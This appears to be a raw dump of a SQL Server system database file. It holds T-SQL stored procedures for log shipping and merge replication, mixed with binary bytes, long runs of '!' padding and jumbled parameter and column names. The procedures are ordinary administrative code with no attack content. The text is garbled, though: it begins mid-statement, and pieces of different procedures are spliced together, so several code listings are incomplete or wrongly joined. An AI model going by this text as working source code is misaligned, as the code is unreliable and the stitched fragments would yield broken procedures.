         ,monitor_server_security_mode = case when (@monitor_server_security_mode is null) then monitor_server_security_mode else @monitor_server_security_mode end
         ,file_retention_period = case when (@file_retention_period is null) then file_retention_period else @file_retention_period end
    where secondary_id = @secondary_id
    if (@@error != 0)
        goto UNDO
    --
    -- commit
    --
    commit tran
    --
    -- all done
    --
    return 0

UNDO:
    rollback tran sp_change_ls_sd
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+`	
<r	:P0!( B8
create procedure sys.sp_indexes_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@Name			sysname = NULL
)
as 
	select
		constraint_catalog		= s_iv.constraint_catalog, 
		constraint_schema		= s_iv.constraint_schema, 
		constraint_name		= s_iv.constraint_name,
		table_catalog			= s_iv.table_catalog,
		table_schema			= s_iv.table_schema,
		table_name			= s_iv.table_name,
		index_name 			= s_iv.index_name,
		type_desc			= s_iv.type_desc
from
	sys.spt_indexes_view_managed s_iv
where
	(s_iv.TABLE_CATALOG = @Catalog or (@Catalog is null)) and 
	(s_iv.TABLE_SCHEMA = @Owner or (@Owner is null)) and 
	(s_iv.TABLE_NAME = @Table or (@Table is null)) and 
	(s_iv.INDEX_NAME = @Name or (@Name is null))
order by table_name, index_name 
00@ 
8create procedure sys.sp_MSmerge_parsegenlist
    @genlist varchar(8000),       
    @gendeclarelist varchar(max) OUTPUT, 
    @genselectlist varchar(max) OUTPUT,
    @genunionlist varchar(max) OUTPUT     
as 			
    declare @gencount int	
    declare @counter int
    declare @listsize int
    declare @position1 int
    declare @position2 int
		    
    select @gendeclarelist = ' '
    select @genselectlist = ' '
    select @genunionlist = ' '

    exec sys.sp_MSmerge_getgencount @genlist, @gencount output
	
    if @gencount = 0
        return

	-- for better performance of enum queries, limit the number of queries by
	-- using a small set of gen buckets
    if @gencount <= 10
        set @listsize = 10
    else if @gencount <= 25
        set @listsize = 25
    else if @gencount <= 50
        set @listsize = 50
    else if @gencount <= 100
        set @listsize = 100
    else if @gencount <= 200
        set @listsize = 200
    else if @gencount <= 500
        set @listsize = 500
    else if @gencount <= 1000
        set @listsize = 1000
    else if @gencount <= 1500
        set @listsize = 1500
    else if @gencount <= 2000
        set @listsize = 2000
    else
        set @listsize = @gencount

    if @listsize <> 0 and @gencount > @listsize
        return 

    -- if we get this far, we have at least one gen 
    set @counter = 1
    set @position1 = 1
    set @position2 = charindex(',', @genlist, @position1)

    declare @tempint bigint	        		

    while @counter < @listsize 
    begin		        		
        select @gendeclarelist = @gendeclarelist + '
    declare @gen' + convert(varchar(16), @counter) + ' bigint '
		
        if @counter < @gencount
        begin
            select @tempint = CONVERT(bigint, substring(@genlist, @position1, @position2 - @position1))
            select @genselectlist = @genselectlist + '
    select @gen' + convert(varchar(16), @counter) + ' =  ' + CONVERT(varchar(20), @tempint)
        end
        else if @counter = @gencount
        begin
            select @tempint = CONVERT(bigint, substring(@genlist, @position1, len(@genlist) - (@position1-1)))
            select @genselectlist = @genselectlist + '
    select @gen' + convert(varchar(16), @counter) + ' =  ' + CONVERT(varchar(20), @tempint)
        end
        else
            select @genselectlist = @genselectlist + '
    select @gen' + convert(varchar(16), @counter) + ' =  null '

        select @genunionlist = @genunionlist + '
            select @gen' + + convert(varchar(16),@counter) + ' as gen union all '
	
        set @counter = @counter + 1
        set @position1 = @position2 + 1
        set @position2 = charindex(',', @genlist, @position1)               				
    end		
	
    -- parse last gen in the list
        select @gendeclarelist = @gendeclarelist + '
    declare @gen' + convert(varchar(16), @counter) + ' bigint '
	
    if @counter = @gencount 
    begin
        select @tempint = CONVERT(bigint, substring(@genlist, @position1, len(@genlist) - (@position1-1)))
        select @genselectlist = @genselectlist + '
    select @gen' + convert(varchar(16), @counter) + ' =  ' + CONVERT(varchar(20), @tempint)
    end
    else 
        select @genselectlist = @genselectlist + '
    select @gen' + convert(varchar(16), @counter) + ' =  null '

        select @genunionlist = @genunionlist + '
        select @gen' + + convert(varchar(16), @counter) + ' as gen '
	    
    return 0
                           ,@monitor_server_security_mode = @monitor_server_security_mode
        end
    end
    --
    -- remove entry from log_shipping_secondary
    --
    delete msdb.dbo.log_shipping_secondary
    where secondary_id = @secondary_id
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<	NRخ0M@ 58create procedure sys.sp_help_log_shipping_secondary_primary 
(
    @primary_server sysname -- cannot be NULL
    ,@primary_database sysname -- cannot be NULL
)
as
begin
    set nocount on
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- select the result from log_shipping_secondary
    --
    select 
        secondary_id
        ,primary_server
        ,primary_database
        ,backup_source_directory
        ,backup_destination_directory
        ,file_retention_period
        ,copy_job_id
        ,restore_job_id
        ,'monitor_server' = case when (user_specified_monitor = 1) then monitor_server else cast(NULL as sysname) end
        ,'monitor_server_security_mode' = case when (user_specified_monitor = 1) then monitor_server_security_mode else cast(NULL as bit) end
    from msdb.dbo.log_shipping_secondary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database 
    --
    -- all done
    --
    return 0
end
0=h@ W8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSdrop_article_repl_view
    @pubid uniqueidentifier
    , @artid uniqueidentifier as
begin
    
    declare @artid_str nvarchar(50)
            , @pubid_str nvarchar(50)
            , @retcode int
            , @repl_view_name nvarchar(260)
        
    exec @retcode=sys.sp_MSguidtostr @artid, @artid_str output
    if @retcode<>0 or @@ERROR<>0 return (1)

    exec @retcode=sys.sp_MSguidtostr @pubid, @pubid_str output
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    select @repl_view_name = 'dbo.MSmerge_repl_view_' + @pubid_str + '_' + @artid_str

    if object_id(@repl_view_name) is not null
    begin
        exec ('drop view ' + @repl_view_name)
        if @@ERROR<>0 return (1)
    end
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`m	<]	GJ'E40s P8~jh>]05 8create procedure sys.sp_add_log_shipping_secondary_database 
(
    @secondary_database sysname -- cannot be NULL
    ,@primary_server sysname -- cannot be NULL
    ,@primary_database sysname -- cannot be NULL
    ,@restore_delay int = 0
    ,@restore_all bit = 1
    ,@restore_mode bit = 0
    ,@disconnect_users bit = 0
    ,@block_size int = -1
    ,@buffer_count int = -1
    ,@max_transfer_size int = -1
    ,@restore_threshold int = 45
    ,@threshold_alert int = 14421
    ,@threshold_alert_enabled bit = 0
    ,@history_retention_period int = 1440  -- in minutes 
    ,@overwrite bit = 0
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_id uniqueidentifier
                ,@monitor_server sysname  
                ,@monitor_server_security_mode bit
                ,@curdate datetime
                ,@curutcdate datetime
                ,@faddeddata bit
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    
    --
    -- Check if the database specified exists - what state should this be in
    --
    if not exists (select * from sys.databases where name = @secondary_database)
    begin
        raiserror(15010, 16, 1, @secondary_database)
        return 1
    end

    --
    -- Parameter Check: @primary_server
    --
    if @primary_server is null or @primary_server=N''
    begin
        raiserror (32052, 16, -1, N'@primary_server')
        return 1
    end

    --
    -- Parameter Check: @primary_database
    --
    if @primary_database is null or @primary_database=N''
    begin
        raiserror (32052, 16, -1, N'@primary_database')
        return 1
    end
    
    --
    -- check if logshipping entry for this database already exists
    --
    if exists (select * from msdb.dbo.log_shipping_secondary_databases
                    where secondary_database = @secondary_database)
    begin
        if (@overwrite = 0)
        begin
            raiserror(32013, 16, 1, @secondary_database)
            return 1
        end
        else
        begin
            exec sp_delete_log_shipping_secondary_database_internal
                                @secondary_database = @secondary_database
                                ,@ignoreremotemonitor = @ignoreremotemonitor
                                ,@overwrite = @overwrite
        end
    end
    --
    -- Check if this primary is registered
    --
    select @secondary_id = secondary_id 
            ,@monitor_server = monitor_server
            ,@monitor_server_security_mode = monitor_server_security_mode
    from msdb.dbo.log_shipping_secondary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database
    if (@secondary_id is null)
    begin
        raiserror(32023, 16, 1, @primary_server, @primary_database)
        return 1
    end
    --
    -- validate block_size
    --
    if (@block_size < -1 or @block_size > 65536)
    begin
        raiserror(21055, 16, -1, N'@block_size', N'sp_add_log_shipping_secondary_database')
        return 1
    end
    --
    -- validate buffer_count
    --
    if (@buffer_count < -1)
    begin
        raiserror(21055, 16, -1, N'@buffer_count', N'sp_add_log_shipping_secondary_database')
        return 1
    end
    --
    -- validate buffer_count
    --
    if (@max_transfer_size < -1)
    begin
        raiserror(21055, 16, -1, N'@max_transfer_size', N'sp_add_log_shipping_secondary_database')
        return 1
    end
    --
    -- validate @threshold_alert
    --
    if (@threshold_alert is null)
        select @threshold_alert = 14421
    if (@threshold_alert != 14421)
    begin
        if not exists (select * 
            from master.dbo.sysmessages where error = @threshold_alert)
        begin
            raiserror(32028, 16, 3, @threshold_alert)
            return 1
        end
    end
    --
    -- initialize the restore time for initial entry
    --
    select @curdate = getdate()
            ,@curutcdate = getutcdate()
    --
    -- add entry in log_shipping_secondary_databases
    --
    insert into msdb.dbo.log_shipping_secondary_databases (
                secondary_database
                ,secondary_id
                ,restore_delay
                ,restore_all
                ,restore_mode
                ,disconnect_users
                ,block_size
                ,buffer_count
                ,max_transfer_size)
    values (
                @secondary_database
                ,@secondary_id
                ,@restore_delay
                ,@restore_all
                ,@restore_mode
                ,@disconnect_users
                ,@block_size
                ,@buffer_count
                ,@max_transfer_size)
    if (@@error != 0)
        goto UNDO
    select @faddeddata = 1
    --
    -- Add a monitor metadata 
    --
    exec @retcode = sp_MSprocesslogshippingmonitorsecondary @mode = 1
                ,@secondary_server = @@servername
                ,@secondary_database = @secondary_database
                ,@secondary_id = @secondary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@restore_threshold = @restore_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@last_restored_date = @curdate
                ,@last_restored_date_utc = @curutcdate
                ,@history_retention_period = @history_retention_period
                ,@ignoreremotemonitor = @ignoreremotemonitor
    if (@retcode != 0 or @@error != 0)
        goto UNDO
    --
    -- all done
    --
    return 0

UNDO:
    --
    -- remove monitor metadata for the secondary and remote monitor
    --
    exec sp_MSprocesslogshippingmonitorsecondary @mode = 2
                ,@secondary_server = @@servername
                ,@secondary_database = @secondary_database
                ,@secondary_id = @secondary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@ignoreremotemonitor = @ignoreremotemonitor
    --
    -- remove the data on secondary
    --
    if (@faddeddata = 1)
    begin
        delete msdb.dbo.log_shipping_secondary_databases 
        where secondary_database = @secondary_database
            and secondary_id = @secondary_id
    end
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`|):
	v6@@refresh_synctran_procs6@colv6s$@rolename62counter_category6*counter_name6,counter_value6,instance_name62last_update_time6(pdw_node_id6'$@database6B@snapshot_progress_token6@@snapshot_session_token!6!@id6!@tag6!@type6W#.AUTO_INCREMENT6W# charbin6W#.data_precision6W#$DATA_TYPE6W#fixlen6W#
length6W#.LITERAL_PREFIX6W#.LITERAL_SUFFIX6W#0LOCAL_TYPE_NAME6W#MONEY6W#
"NULLABLE6W#,numeric_scale6W# ODBCVer6W#	RADIX6W#&SEARCHABLE6W#,SQL_DATA_TYPE6W#2SQL_DATETIME_SUB6W#"ss_dtype6W#(ss_usertype6W#$TYPE_NAME6W#6UNSIGNED_ATTRIBUTE61f/6@nvarcharmaxscript6"32ag_id6"32,ag_replica_id6"320connected_state6"32Nlast_connect_error_description6"32Dlast_connect_error_number6"32Jlast_connect_error_timestamp6Z6"end_time6Z6(pdw_node_id6Z6"progress6Z6run_id6Z6&start_time6Z6status6Z66total_elapsed_time6;SF*@publication6;SF&@publisher6;SF,@publisher_db6;SF$@queue_id6;SF,@queue_server6;SF6@subscription_guid6;SF6@subscription_type6/P0@identity_range6/P4@identity_support6/P	,@max_identity6/P&@next_seed6/P8@pub_identity_range6/P&@publisher6/P,@publisher_db6/P&@tablename6/P&@threshold6`h"@article6`h(@article_id6`h*@publication6`h&@publisher6`h,@publisher_db6`h(@subscriber6`h.@subscriber_db6h,@publisher_db6h,@publisher_id6o&@job_login6o$@job_name6o,@job_password6o&@publisher6o2@publisher_login6o8@publisher_password6oB@publisher_security_mode69{p,@datalogical169{p#.@datalogical1069{p&.@datalogical1169{p).@datalogical1269{p,.@datalogical1369{p/.@datalogical1469{p2.@datalogical156(@table_name6,@base_colname60@unique_colname6kL,@source_table6kL@owner6kL @object6kL@artid6kL2@column_tracking6kL$@viewname6kL$@trigname6kLF@current_mappings_viewname6kL	@@past_mappings_viewname6kL
:@genhistory_viewname6
H,@user_type_id6
H@len6
H@prec6
H@scale6
H.@schema_option6
H@type6
H"@schname6
H @maplen6%Pm@pubid6%Pm"@genlist6%Pm0@articlesoption6%Pm.@tablenickname6%Pm,@nicknamelist6%Pm @mingen6%Pm @maxgen6%Pm*@skipgenlist6%Pm	D@contents_subset_rowcount6%Pm
F@tombstone_subset_rowcount6N@table6N@owner!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T&nB

p
D
 
LDrtL `:


^
*
	N2PpvH*		b	>		nH*t0j4^2f6zL,b vJ `'2)V	_3+%
6 @mode6<@distributortimestamp6&@publisher60@publisher_guid6 @vendor6 @indent6 @is_new6@objid6"@op_type6"@postfix68@primary_key_bitmap6 @ts_col6$(@best_match6$&@data_type6$ @server6$4AUTO_UNIQUE_VALUE6$&BEST_MATCH6$.CASE_SENSITIVE6$(COLUMN_SIZE6$,CREATE_PARAMS6$$DATA_TYPE6$2FIXED_PREC_SCALE6$GUID6$ IS_LONG6$(IS_NULLABLE6$.LITERAL_PREFIX6$.LITERAL_SUFFIX6$
0LOCAL_TYPE_NAME6$,MAXIMUM_SCALE6$,MINIMUM_SCALE6$	&SEARCHABLE6$$TYPE_NAME6$ TYPELIB6$
6UNSIGNED_ATTRIBUTE6$ VERSION6ŠPaverage_version_chain_traversed6Š8commit_sequence_num6Š	:elapsed_time_seconds6ŠHfirst_snapshot_sequence_num6Š(is_snapshot6ŠHmax_version_chain_traversed6Š
(pdw_node_id6Š&session_id6Š.transaction_id6ŠBtransaction_sequence_num6f<authentication_method6f*connect_time6f,connection_id6f:encryption_algorithm6fDencryption_algorithm_desc6f$is_accept6fFis_receive_flow_controlled6f@is_send_flow_controlled6f
6last_activity_time6f(login_state6f
2login_state_desc6f&login_time6f8peer_arbitration_id6f8peer_certificate_id6f.principal_name6f0receives_posted6f	2remote_user_name6f*sends_posted6fstate6f&state_desc6f:total_bytes_received6f2total_bytes_sent6fBtotal_fragments_received6f:total_fragments_sent6f.total_receives6f(total_sends6f8transport_stream_id6@geom6ZR"end_time6ZR&request_id6ZRrun_id6ZRstage6ZR&start_time6ZRstatus6ZR6total_elapsed_timeb6b @number6b@shift6u"*component_id6u"*logical_name6u",physical_name6u"(property_id6$((@DatabaseId6$("@IndexId6$(2@PartitionNumber6$("@TableId6$(Ncolumn_value_pull_in_row_count6$(Pcolumn_value_push_off_row_count6$((database_id6$(<forwarded_fetch_count6$("index_id6$(!Vindex_lock_promotion_attempt_count6$("Findex_lock_promotion_count6$(<leaf_allocation_count6$(4leaf_delete_count6$(2leaf_ghost_count6$(4leaf_insert_count6$(<leaf_page_merge_count6$(4leaf_update_count6$(6lob_fetch_in_bytes6$(6lob_fetch_in_pages6$(@lob_orphan_create_count6$(@lob_orphan_insert_count6$(
Bnonleaf_allocation_count6$(
:nonleaf_delete_count6$(	:nonleaf_insert_count6$(Bnonleaf_page_merge_count6$(:nonleaf_update_count6$($object_id6$(+Npage_compression_attempt_count6$(,Npage_compression_success_count6$(%Bpage_io_latch_wait_count6$(&Bpage_io_latch_wait_in_ms6$(#<page_latch_wait_count6$($<page_latch_wait_in_ms6$(0page_lock_count6 (@session_id6 0@session_status6 0@monitor_server6 L@monitor_server_security_mode6,@alert_job_id6'@time6'@csn!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x6X4~DLr@4^rJ~H*



 <f
X
 
NvD

v
P

			:		lBpHVxX4X*rFvP(nN.|H x`5)	K1	ӽ6z(@session_id6z0@session_status6}&@tracer_id62@identity_insert6(@queued_pub6j2@distribution_db6j*@publication6j&@publisher6@artid62@identity_insert6@objid6(@queued_pub6M ,@stat_catalog6M &@stat_name6M *@stat_schema6M .@table_catalog6M (@table_name6M ,@table_schema60@publication_id6"agent_id6ɫ(database_id6ɫ&error_code6ɫ(in_progress6ɫjob_id6ɫ&object_id16ɫ&object_id26ɫ&object_id36ɫ&object_id46ɫ
(pdw_node_id6ɫ	*request_type6ɫ
(retry_count6ɫ&session_id6ɫ(time_queued6+2@connection_info6+(@originator6+.@originator_db6+(@request_id6+	J@response_conflict_retention6+*@response_db6+@@response_originator_id6+.@response_srvr6+>@response_srvr_version6"@artlist6$@enabling6.@originator_id6*@publication6&@publisher6,@publisher_db6e&@job_login6e,@job_password6e&@publisher6e2@publisher_login6e8@publisher_password6eB@publisher_security_mode6e0@publisher_type68@constraint_catalog62@constraint_name66@constraint_schema62@constraint_type6.@table_catalog6,@table_schema6%$column_id6%:distribution_ordinal6%$object_id6 @dbname6 @status64@backup_threshold6
D@history_retention_period64@last_backup_date6<@last_backup_date_utc6
4@last_backup_file6@mode60@monitor_server6L@monitor_server_security_mode64@primary_database6(@primary_id60@primary_server62@threshold_alert6	B@threshold_alert_enabled6n$@newvalue6*@srvrolename6$@property6*@publication6&@publisher6,@publisher_db6(@subscriber6.@subscriber_db6@value6@artid6"@optname6 @server6.@show_topology6Taggregated_record_length_in_bytes6(database_id6$rowset_id6uv @handle6uv"property6uv traceid6uvvalue6"@isvalid6@login6&@publisher6\B@dynamic_filter_hostname6\<@dynamic_filter_login6\F@dynamic_snapshot_location6\,@partition_id6\*@publication6\&@publisher6\,@publisher_db6p"(@columnname6p""@objname6Fm8@name6Fm8@time6lO @dbname6lO*@from_backup6lO8@ignore_distributor6lO@type6W(batch_count6W$fdhost_id6W(fdhost_name6W4fdhost_process_id6W(fdhost_type6W&max_thread6/n"@rowdump6/n colName6/n(InRowLength6/n IsInrow6/nBIsRecordPrefixCompressed6/n"IsSparse6/n"IsSymbol6/n*partition_id6/n(PrefixBytes6v|*@cutoff_date6v|*@publication6v|(@request_id6E*@publication6E4@publication_type6E&@publisher6E,@publisher_db_6"@pubname6"@artname6@pubid6@artid6-+B@pubid6@@partition_id_eval_proc6@pubid68@publication_number6*@column_list6.@function_list6D@partition_id_eval_clause6<@use_partition_groups6j*@publication6j2@dynamic_filters6j4@dont_raise_error6@pubid6"@recguid6 @recgen6cЯ 